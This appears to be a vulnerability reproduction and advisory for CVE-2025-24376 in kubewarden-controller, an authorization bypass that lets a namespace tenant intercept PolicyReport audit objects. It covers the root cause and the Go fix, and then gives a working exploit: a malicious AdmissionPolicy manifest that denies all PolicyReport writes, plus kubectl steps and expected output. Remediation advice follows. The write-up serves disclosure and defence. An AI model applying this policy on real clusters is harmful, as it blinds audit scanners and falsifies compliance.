CVE-2025-24376 — kubewarden-controller authorization bypass on AdmissionPolicy¶
Published 2026-06-06
Authorization bypass — audit tampering
A low-privilege Kubernetes tenant can register an AdmissionPolicy that
intercepts sensitive PolicyReport objects, blocking or falsifying cluster
audit findings without any cluster-admin rights.
| Field | Value |
|---|---|
| Project | kubewarden-controller |
| Affected component | AdmissionPolicy / AdmissionPolicyGroup validation webhook (vadmissionpolicy.kb.io) |
| Severity | MEDIUM |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L (6.5) |
| CWE | CWE-155, CWE-285 |
| Affected versions | >= 1.7.0, < 1.21.0 (last vulnerable: v1.20.1) |
| Fixed version | 1.21.0 |
| Advisory | GHSA-fc89-jghx-8pvg |
1. Vulnerability overview¶
Kubewarden is a Kubernetes policy engine whose controller
manages two kinds of namespaced admission policies: AdmissionPolicy and
AdmissionPolicyGroup. By design, these types are scoped to namespaced resources and are
intended to be usable by namespace tenants; they are deliberately accessible to
non-cluster-admin users. The controller registers a Kubernetes validating webhook
(vadmissionpolicy.kb.io) that intercepts every CREATE or UPDATE of these custom
resources, validates the submitted spec, and, if accepted, programs the Kubernetes API
server to apply the policy to future requests.
CVE-2025-24376 is an authorization bypass. In versions 1.7.0 through 1.20.x, the
controller's webhook validation did not restrict which Kubernetes resources an
AdmissionPolicy could target. A tenant with only namespaced RBAC write access to
AdmissionPolicy objects could craft a policy targeting wgpolicyk8s.io/policyreports,
the sensitive resource that audit scanners use to report compliance findings. The impact is
integrity loss: a denying policy suppresses all new PolicyReport objects in that namespace
(hiding non-compliance), and a mutating policy silently falsifies their content (faking
compliance). The attacker needs no cluster-admin rights, no secret access, and no exploit
code; only a declarative YAML manifest applied with kubectl.
Root cause¶
The vulnerable code lives in api/policies/v1/policy_validation.go. Before the fix,
the function validateRulesField iterated over the rules in a submitted policy and
checked only that the operations, apiVersions, and resources fields were non-empty.
It applied those checks identically to all policy types (including AdmissionPolicy and
AdmissionPolicyGroup) with no type-specific restriction on which resources could be
named. The Kubernetes API server therefore accepted any well-formed AdmissionPolicy
regardless of what resource it targeted.
The fix (commit 8124039) adds two checks that fire only when the submitted policy is
an AdmissionPolicy or AdmissionPolicyGroup:
// Detect the policy type
_, isAdmissionPolicy := policy.(*AdmissionPolicy)
_, isAdmissionPolicyGroup := policy.(*AdmissionPolicyGroup)
if isAdmissionPolicy || isAdmissionPolicyGroup {
allErrors = append(allErrors, checkRulesArrayForWildcardUsage(rule.Rule.APIVersions, rule.Rule.Resources, rulesField)...)
allErrors = append(allErrors, checkRulesArrayForSensitiveResourcesBeingTargeted(rule.Rule.APIVersions, rule.Rule.Resources, rulesField)...)
}
checkRulesArrayForWildcardUsage returns a Forbidden error when both apiGroups
and resources contain wildcards (* or */*), preventing a blanket wildcard policy
that would implicitly cover sensitive resources.
checkRulesArrayForSensitiveResourcesBeingTargeted checks each rule against a list of
protected resources (initially {wgpolicyk8s.io, policyreports}) and rejects the
policy if the rule names that group/resource exactly, via wildcard, or via a subresource
prefix:
func (sr sensitiveResource) MatchesRules(apiGroups []string, resource []string) bool {
// apiGroup matches if exact or wildcard "*"
// resource matches if exact, "*", "*/*", or has prefix "policyreports/"
return apiGroupMatches && resourceMatches
}
Before the patch, none of these checks existed. The Kubernetes API server accepted any
well-formed AdmissionPolicy regardless of which resources it targeted.
2. Vulnerable environment¶
The reproduction runs a single-node kind (Kubernetes-in-Docker)
cluster with the kubewarden-controller deployed at the last vulnerable release image
ghcr.io/kubewarden/kubewarden-controller:v1.20.1
(sha256:a34c3b839dbca6f512305e1a39fa71992b58dc1529b757f32f9f8d501913c362).
Download the environment files: env.zip
Individual files:
- env/kind-cluster.yaml: kind cluster definition (single control-plane node, cluster name
cve-2025-24376) - env/manifests/actor-rbac.yaml: namespace
tenant-a, attackerServiceAccount, and the namespacedRole/RoleBindinggranting onlycreate,update,get,list,watchonadmissionpoliciesandadmissionpolicygroups - env/manifests/baseline-policyreport.yaml: a pre-seeded
PolicyReport(baseline-report) intenant-a, confirming the sensitive resource is present and targetable - env/kubeconfig-admin.yaml: cluster-admin kubeconfig (context
kind-cve-2025-24376) - env/kubeconfig-attacker.yaml: scoped attacker kubeconfig (context
attacker, bound totenant-a/attackerservice account)
Prerequisites¶
The following tools must be available on the host. The published download does not include binaries; install them before standing up the cluster:
- kind: create and manage the local Kubernetes cluster
- helm: install the
kubewarden-crds(chart 1.12.1) andkubewarden-controller(chart 4.0.1) releases - kubectl: all API server interactions
Topology¶
| Component | Role | Network |
|---|---|---|
kind API server (cve-2025-24376-control-plane) |
Kubernetes control plane and admission chain | 127.0.0.1 (random host port; read from env/kubeconfig-admin.yaml) |
kubewarden-controller pod (namespace kubewarden) |
Vulnerable controller; registers validating webhook vadmissionpolicy.kb.io |
In-cluster only |
CRD policyreports.wgpolicyk8s.io |
Sensitive resource that the exploit targets | Cluster-scoped CRD |
baseline-report PolicyReport (namespace tenant-a) |
Pre-seeded audit object | API object |
Confirming the vulnerable version¶
After standing the cluster up, confirm the vulnerable version is running:
export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get pods -n kubewarden -l app.kubernetes.io/name=kubewarden-controller \
-o jsonpath='{.items[*].status.containerStatuses[*].image}{"\n"}{.items[*].status.containerStatuses[*].imageID}{"\n"}'
Expected output contains:
ghcr.io/kubewarden/kubewarden-controller:v1.20.1
ghcr.io/kubewarden/kubewarden-controller@sha256:a34c3b839dbca6f512305e1a39fa71992b58dc1529b757f32f9f8d501913c362
Run a quick health check to confirm the admission path is active:
export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get nodes
kubectl get deploy kubewarden-controller -n kubewarden -o jsonpath='{.status.readyReplicas}/{.status.replicas} ready{"\n"}'
kubectl get validatingwebhookconfigurations | grep kubewarden
kubectl get crd policyreports.wgpolicyk8s.io
kubectl get policyreport baseline-report -n tenant-a
Expected: node Ready; controller 1/1 ready; webhook configuration listed;
CRD present; baseline-report present.
Also confirm the privilege boundary on the attacker account:
KUBECONFIG=env/kubeconfig-attacker.yaml kubectl auth can-i create admissionpolicies.policies.kubewarden.io -n tenant-a
KUBECONFIG=env/kubeconfig-attacker.yaml kubectl auth can-i list secrets -n tenant-a
Expected: yes then no. This confirms a namespaced tenant, not a cluster administrator.
3. How to exploit¶
Download the exploit files: exploit.zip
Individual files:
- exploit/run.sh: the orchestrating script; acts solely as the attacker actor
- exploit/policy.yaml: the malicious
AdmissionPolicymanifest
The malicious policy¶
exploit/policy.yaml defines an AdmissionPolicy named block-policy-reports in
namespace tenant-a. Its rule targets wgpolicyk8s.io/policyreports (the sensitive
audit resource) with a CEL validation expression of false, which causes the policy to
deny every matched request:
apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
name: block-policy-reports
namespace: tenant-a
spec:
module: registry://ghcr.io/kubewarden/policies/cel-policy:latest
settings:
validations:
- expression: "false"
message: "policy reports are blocked"
rules:
- apiGroups: ["wgpolicyk8s.io"]
apiVersions: ["v1alpha2"]
operations: ["CREATE", "UPDATE"]
resources: ["policyreports"]
mutating: false
backgroundAudit: false
Once this policy is active, any attempt to create or update a PolicyReport object in
tenant-a is denied by Kubewarden, blinding the audit scanner in that namespace.
Steps¶
Step 1. Verify attacker identity and RBAC before running the exploit (should print yes):
KUBECONFIG=env/kubeconfig-attacker.yaml \
kubectl auth can-i create admissionpolicies.policies.kubewarden.io -n tenant-a
Step 2. Submit the malicious AdmissionPolicy as the attacker:
On the vulnerable controller (v1.20.1) the webhook does not reject the policy. Expected output:
[*] Acting as attacker actor:
system:serviceaccount:tenant-a:attacker
[*] Submitting malicious AdmissionPolicy targeting wgpolicyk8s.io/policyreports ...
admissionpolicy.policies.kubewarden.io/block-policy-reports created
[*] Submission completed without webhook rejection (vulnerable controller accepted it).
Step 3. Confirm the policy persists by reading cluster state through the independent admin channel (separate credential, no involvement in the exploit):
export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get admissionpolicy block-policy-reports -n tenant-a \
-o jsonpath='{.metadata.name}{"\n"}{.spec.rules[0].apiGroups}{"\n"}{.spec.rules[0].resources}{"\n"}'
What proves it worked¶
The verification relies on an independent observation made through the cluster-admin kubeconfig, a credential entirely separate from the attacker's. After the exploit script exits, the admin channel confirms the forbidden policy exists in cluster state with its sensitive-resource rule intact:
block-policy-reports
["wgpolicyk8s.io"]
["policyreports"]
["CREATE","UPDATE"]
UID=56ac4fbb-81f6-4a77-bc42-f7f98e47a6b6
CREATIONTS=2026-06-02T10:26:03Z
The server-assigned UID and creation timestamp confirm the object was admitted through
the Kubernetes API server and persisted, not planted through any back-channel. Before
the exploit ran, the admin read returned NotFound. After the exploit, the policy exists
with apiGroups=["wgpolicyk8s.io"] and resources=["policyreports"].
On a fixed build (kubewarden-controller >= 1.21.0), the same kubectl apply in Step 2
exits non-zero with an admission webhook Forbidden error from validateRulesField, and
the admin read in Step 3 returns NotFound; the policy is never persisted. That contrast
ties the observed persistence directly to the missing validation in v1.20.1.
Environment teardown¶
When finished, delete the kind cluster:
This removes the kind node container and its network. The kubeconfigs and manifest files can be discarded with the run directory. No host package manager state is affected.
4. Security advice¶
Remediation¶
Upgrade kubewarden-controller to 1.21.0 or later. That release adds server-side
validation in validateRulesField that rejects any AdmissionPolicy or
AdmissionPolicyGroup whose rules target wgpolicyk8s.io/policyreports (exactly, via
wildcard, or via subresource prefix), and also blocks simultaneous wildcard use in both
apiGroups and resources. The fix is in commit 8124039 of the
kubewarden/kubewarden-controller repository.
Mitigations and workarounds¶
If an immediate upgrade is not possible, the GHSA advisory documents a workaround: apply
a ClusterAdmissionPolicy (which is cluster-scoped and therefore requires cluster-admin
to create) that denies any AdmissionPolicy or AdmissionPolicyGroup targeting the
sensitive resource. This is an administrative control that shifts the enforcement burden
to the cluster operator rather than the controller.
Also restrict the RBAC create/update verbs on admissionpolicies and
admissionpolicygroups to only the most trusted namespace tenants. Limiting who can author
policies is a useful defense-in-depth measure even on patched clusters.
References¶
- GHSA-fc89-jghx-8pvg: primary advisory with workaround YAML
- Fix commit 8124039: full patch diff
- NVD CVE-2025-24376: CVSS scores, CWE list
- Go vuln DB GO-2025-3434: Go ecosystem affected version range
- kubewarden-controller releases: v1.20.1 last vulnerable, v1.21.0 first fixed